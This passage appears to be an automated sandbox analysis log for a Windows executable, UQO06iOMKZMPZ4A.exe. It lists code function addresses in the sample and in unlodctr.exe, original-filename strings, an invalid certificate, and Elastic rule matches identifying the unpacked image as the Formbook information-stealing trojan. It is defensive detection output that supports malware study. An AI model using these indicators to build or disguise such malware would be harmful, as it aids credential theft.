Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_09647A20	0_2_09647A20
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_096482A8	0_2_096482A8
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_0964B918	0_2_0964B918
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_09640040	0_2_09640040
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_09640012	0_2_09640012
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_0964D8A8	0_2_0964D8A8
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_0964BC88	0_2_0964BC88
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_09648770	0_2_09648770
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_09646F10	0_2_09646F10
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_0964AA60	0_2_0964AA60
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_09645A5F	0_2_09645A5F
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_0964F2E0	0_2_0964F2E0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 0_2_0964BED0	0_2_0964BED0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_0040F94A	2_2_0040F94A
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_0040F953	2_2_0040F953
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_0042D273	2_2_0042D273
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_004162F3	2_2_004162F3
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_00403280	2_2_00403280
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_0040FB73	2_2_0040FB73
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_0040DBF3	2_2_0040DBF3
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_00401D66	2_2_00401D66
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_00401D70	2_2_00401D70
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_00402640	2_2_00402640
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_00402635	2_2_00402635
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF01AA	2_2_01AF01AA
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE41A2	2_2_01AE41A2
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE81CC	2_2_01AE81CC
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A20100	2_2_01A20100
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACA118	2_2_01ACA118
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB8158	2_2_01AB8158
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC2000	2_2_01AC2000
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF03E6	2_2_01AF03E6
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3E3F0	2_2_01A3E3F0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AEA352	2_2_01AEA352
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AB02C0	2_2_01AB02C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD0274	2_2_01AD0274
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AF0591	2_2_01AF0591
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30535	2_2_01A30535
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ADE4F6	2_2_01ADE4F6
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD4420	2_2_01AD4420
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE2446	2_2_01AE2446
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2C7C0	2_2_01A2C7C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30770	2_2_01A30770
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A54750	2_2_01A54750
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4C6E0	2_2_01A4C6E0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A329A0	2_2_01A329A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AFA9A6	2_2_01AFA9A6
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A46962	2_2_01A46962
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A168B8	2_2_01A168B8
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A5E8F0	2_2_01A5E8F0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3A840	2_2_01A3A840
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A32840	2_2_01A32840
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE6BD7	2_2_01AE6BD7
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AEAB40	2_2_01AEAB40
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2EA80	2_2_01A2EA80
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A48DBF	2_2_01A48DBF
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A2ADE0	2_2_01A2ADE0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3AD00	2_2_01A3AD00
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACCD1F	2_2_01ACCD1F
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD0CB5	2_2_01AD0CB5
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A20CF2	2_2_01A20CF2
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30C00	2_2_01A30C00
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AAEFA0	2_2_01AAEFA0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A22FC8	2_2_01A22FC8
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A72F28	2_2_01A72F28
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A50F30	2_2_01A50F30
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD2F30	2_2_01AD2F30
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA4F40	2_2_01AA4F40
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A42E90	2_2_01A42E90
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AECE93	2_2_01AECE93
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AEEEDB	2_2_01AEEEDB
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AEEE26	2_2_01AEEE26
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A30E59	2_2_01A30E59
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A3B1B0	2_2_01A3B1B0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AFB16B	2_2_01AFB16B
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A6516C	2_2_01A6516C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1F172	2_2_01A1F172
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE70E9	2_2_01AE70E9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AEF0E0	2_2_01AEF0E0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ADF0CC	2_2_01ADF0CC
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A370C0	2_2_01A370C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A7739A	2_2_01A7739A
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE132D	2_2_01AE132D
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A1D34C	2_2_01A1D34C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A352A0	2_2_01A352A0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD12ED	2_2_01AD12ED
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4D2F0	2_2_01A4D2F0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4B2C0	2_2_01A4B2C0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACD5B0	2_2_01ACD5B0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE7571	2_2_01AE7571
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AEF43F	2_2_01AEF43F
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A21460	2_2_01A21460
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AEF7B0	2_2_01AEF7B0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE16CC	2_2_01AE16CC
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A75630	2_2_01A75630
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AC5910	2_2_01AC5910
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A39950	2_2_01A39950
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4B950	2_2_01A4B950
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A338E0	2_2_01A338E0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A9D800	2_2_01A9D800
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4FB80	2_2_01A4FB80
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA5BF0	2_2_01AA5BF0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A6DBF9	2_2_01A6DBF9
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AEFB76	2_2_01AEFB76
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ACDAAC	2_2_01ACDAAC
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A75AA0	2_2_01A75AA0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AD1AA3	2_2_01AD1AA3
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01ADDAC6	2_2_01ADDAC6
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA3A6C	2_2_01AA3A6C
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AEFA49	2_2_01AEFA49
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE7A46	2_2_01AE7A46
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A4FDC0	2_2_01A4FDC0
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE7D73	2_2_01AE7D73
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A33D40	2_2_01A33D40
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AE1D5A	2_2_01AE1D5A
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AEFCF2	2_2_01AEFCF2
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AA9C32	2_2_01AA9C32
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AEFFB1	2_2_01AEFFB1
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A31F92	2_2_01A31F92
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_019F3FD5	2_2_019F3FD5
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_019F3FD2	2_2_019F3FD2
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01AEFF09	2_2_01AEFF09
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: 2_2_01A39EB0	2_2_01A39EB0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AB03E6	11_2_03AB03E6
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039FE3F0	11_2_039FE3F0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AAA352	11_2_03AAA352
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A702C0	11_2_03A702C0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A90274	11_2_03A90274
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AB01AA	11_2_03AB01AA
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AA81CC	11_2_03AA81CC
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039E0100	11_2_039E0100
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A8A118	11_2_03A8A118
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A78158	11_2_03A78158
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A82000	11_2_03A82000
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039EC7C0	11_2_039EC7C0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039F0770	11_2_039F0770
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A14750	11_2_03A14750
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A0C6E0	11_2_03A0C6E0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AB0591	11_2_03AB0591
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039F0535	11_2_039F0535
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A9E4F6	11_2_03A9E4F6
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AA2446	11_2_03AA2446
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AA6BD7	11_2_03AA6BD7
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AAAB40	11_2_03AAAB40
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039EEA80	11_2_039EEA80
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03ABA9A6	11_2_03ABA9A6
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039F29A0	11_2_039F29A0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A06962	11_2_03A06962
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039D68B8	11_2_039D68B8
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A1E8F0	11_2_03A1E8F0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039F2840	11_2_039F2840
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039FA840	11_2_039FA840
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A6EFA0	11_2_03A6EFA0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039E2FC8	11_2_039E2FC8
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A32F28	11_2_03A32F28
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A10F30	11_2_03A10F30
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A92F30	11_2_03A92F30
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A64F40	11_2_03A64F40
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A02E90	11_2_03A02E90
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AACE93	11_2_03AACE93
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AAEEDB	11_2_03AAEEDB
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AAEE26	11_2_03AAEE26
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039F0E59	11_2_039F0E59
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A08DBF	11_2_03A08DBF
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039EADE0	11_2_039EADE0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039FAD00	11_2_039FAD00
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A8CD1F	11_2_03A8CD1F
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A90CB5	11_2_03A90CB5
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039E0CF2	11_2_039E0CF2
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039F0C00	11_2_039F0C00
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A3739A	11_2_03A3739A
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AA132D	11_2_03AA132D
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039DD34C	11_2_039DD34C
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039F52A0	11_2_039F52A0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A912ED	11_2_03A912ED
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A0D2F0	11_2_03A0D2F0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A0B2C0	11_2_03A0B2C0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039FB1B0	11_2_039FB1B0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03ABB16B	11_2_03ABB16B
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A2516C	11_2_03A2516C
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039DF172	11_2_039DF172
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AA70E9	11_2_03AA70E9
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AAF0E0	11_2_03AAF0E0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039F70C0	11_2_039F70C0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A9F0CC	11_2_03A9F0CC
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AAF7B0	11_2_03AAF7B0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AA16CC	11_2_03AA16CC
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A8D5B0	11_2_03A8D5B0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AA7571	11_2_03AA7571
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AAF43F	11_2_03AAF43F
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039E1460	11_2_039E1460
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A0FB80	11_2_03A0FB80
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A65BF0	11_2_03A65BF0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A2DBF9	11_2_03A2DBF9
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AAFB76	11_2_03AAFB76
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A35AA0	11_2_03A35AA0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A8DAAC	11_2_03A8DAAC
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A91AA3	11_2_03A91AA3
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A9DAC6	11_2_03A9DAC6
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A63A6C	11_2_03A63A6C
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AAFA49	11_2_03AAFA49
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AA7A46	11_2_03AA7A46
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A85910	11_2_03A85910
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039F9950	11_2_039F9950
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A0B950	11_2_03A0B950
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039F38E0	11_2_039F38E0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A5D800	11_2_03A5D800
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039F1F92	11_2_039F1F92
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AAFFB1	11_2_03AAFFB1
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AAFF09	11_2_03AAFF09
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039F9EB0	11_2_039F9EB0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A0FDC0	11_2_03A0FDC0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AA7D73	11_2_03AA7D73
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_039F3D40	11_2_039F3D40
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AA1D5A	11_2_03AA1D5A
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03AAFCF2	11_2_03AAFCF2
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_03A69C32	11_2_03A69C32
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02F91280	11_2_02F91280
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02F8A6F0	11_2_02F8A6F0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02F8C670	11_2_02F8C670
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02F8C450	11_2_02F8C450
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02F8C447	11_2_02F8C447
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02F92DF0	11_2_02F92DF0
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: 11_2_02FA9D70	11_2_02FA9D70

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: String function: 01A77E54 appears 103 times
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: String function: 01A9EA12 appears 86 times
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: String function: 01A65130 appears 58 times
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: String function: 01A1B970 appears 262 times
Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe	Code function: String function: 01AAF290 appears 103 times
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: String function: 03A6F290 appears 103 times
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: String function: 03A37E54 appears 99 times
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: String function: 039DB970 appears 257 times
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: String function: 03A25130 appears 58 times
Source: C:\Windows\SysWOW64\unlodctr.exe	Code function: String function: 03A5EA12 appears 86 times

Source: C:\Users\user\Desktop\UQO06iOMKZMPZ4A.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7616 -s 1432

Source: UQO06iOMKZMPZ4A.exe

Static PE information: invalid certificate

Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1752688007.00000000042A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs UQO06iOMKZMPZ4A.exe
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1795883512.0000000007254000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs UQO06iOMKZMPZ4A.exe
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1746110565.00000000007AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs UQO06iOMKZMPZ4A.exe
Source: UQO06iOMKZMPZ4A.exe, 00000000.00000002.1799322819.00000000098A0000.00000004.08000000.00040000.00000000.sdmp	Binary or memory string: OriginalFilenameTyrone.dll8 vs UQO06iOMKZMPZ4A.exe
Source: UQO06iOMKZMPZ4A.exe, 00000002.00000002.2062926524.00000000014B7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNLODCTR.EXEj% vs UQO06iOMKZMPZ4A.exe
Source: UQO06iOMKZMPZ4A.exe, 00000002.00000002.2063166629.0000000001B1D000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs UQO06iOMKZMPZ4A.exe
Source: UQO06iOMKZMPZ4A.exe	Binary or memory string: OriginalFilenamexDk.exeX vs UQO06iOMKZMPZ4A.exe

Source: UQO06iOMKZMPZ4A.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 2.2.UQO06iOMKZMPZ4A.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 2.2.UQO06iOMKZMPZ4A.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
